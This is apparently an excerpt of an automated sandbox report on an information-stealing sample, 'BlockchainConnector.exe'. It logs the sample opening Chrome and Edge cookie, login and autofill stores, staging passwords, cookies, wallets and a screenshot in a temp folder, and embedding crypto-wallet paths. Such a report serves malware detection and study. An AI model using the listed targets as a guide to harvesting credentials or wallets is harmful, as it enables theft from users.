              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_afills.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_afills.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_afills.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Autofills\Edge_Default_AFILLS.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Infos\Running_Softwares.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Desktop\BPMLNOBVSB.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Desktop\KATAXZVCPS.png VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Desktop\LTKMYBSEYZ.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Desktop\BPMLNOBVSB VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Desktop\DVWHKMNFNN VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Desktop\NEBFQQYWPS VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Desktop\ONBQCLYSPU VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Desktop\ONBQCLYSPU\LTKMYBSEYZ.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Desktop\UMMBDNEQBN VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Downloads\BPMLNOBVSB.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Downloads\KATAXZVCPS.png VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Downloads\NIKHQAIQAU.png VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Downloads\UMMBDNEQBN.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\Downloads\WKXEWIOTXI.png VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\user_95030.zip VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Autofills VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Files VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Infos VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Telegram VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Wallets VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Chrome_Default_PASS.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Chrome_Default_PASS.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Chrome_Default_PASS.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Edge_Default_PASS.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Edge_Default_PASS.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Edge_Default_PASS.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Screenshot.png VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Screenshot.png VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Screenshot.png VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Autofills VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Autofills\Chrome_Default_AFILLS.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Autofills\Edge_Default_AFILLS.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Cookies VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Cookies\Chrome_Default_cookies.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Cookies\Chrome_Default_cookies.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Cookies\Chrome_Default_cookies.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Files VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Infos VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Infos\Running_Softwares.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Infos\Running_Softwares.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Infos\Running_Softwares.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Telegram VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Wallets VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\user_95030.zip VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\user_95030.zip VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\user_95030.zip VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ScheduledJob\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ScheduledJob.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00238470 GetLocalTime,3_2_00238470
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002116C0 GetVersionExW,GetVersionExW,GetVersionExW,IsProcessorFeaturePresent,3_2_002116C0
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\F40042E2E5F7E8EF8189FED15519AECE42C3BFA2 BlobJump to behavior

              Stealing of Sensitive Information

              barindex
              Found many strings related to Crypto-Wallets (likely being stolen)
              Source: BlockchainConnector.exe, 00000007.00000002.1903954545.0000019A0BD30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: \Electrum\wallets
              Source: BlockchainConnector.exe, 00000007.00000002.1903954545.0000019A0BD30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: Jaxx Liberty
              Source: BlockchainConnector.exe, 00000007.00000002.1903954545.0000019A0BD30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: \Exodus\exodus.wallet
              Source: BlockchainConnector.exe, 00000007.00000002.1903954545.0000019A0BD30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: \Ethereum\keystore
              Source: BlockchainConnector.exe, 00000007.00000002.1903954545.0000019A0BD30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: \Exodus\exodus.wallet
              Source: BlockchainConnector.exe, 00000007.00000002.1903954545.0000019A0BD30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: \Ethereum\keystore
              Source: BlockchainConnector.exe, 00000007.00000002.1903954545.0000019A0BD30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: \Coinomi\Coinomi\wallets
              Source: BlockchainConnector.exe, 00000007.00000002.1903954545.0000019A0BD30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: \Ethereum\keystore
              Tries to harvest and steal browser information (history, passwords, etc)
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension SettingsJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
